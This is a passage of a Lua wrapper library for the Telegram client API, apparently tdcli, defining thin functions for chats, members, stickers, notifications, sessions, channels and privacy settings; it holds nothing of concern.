= "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", + channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, 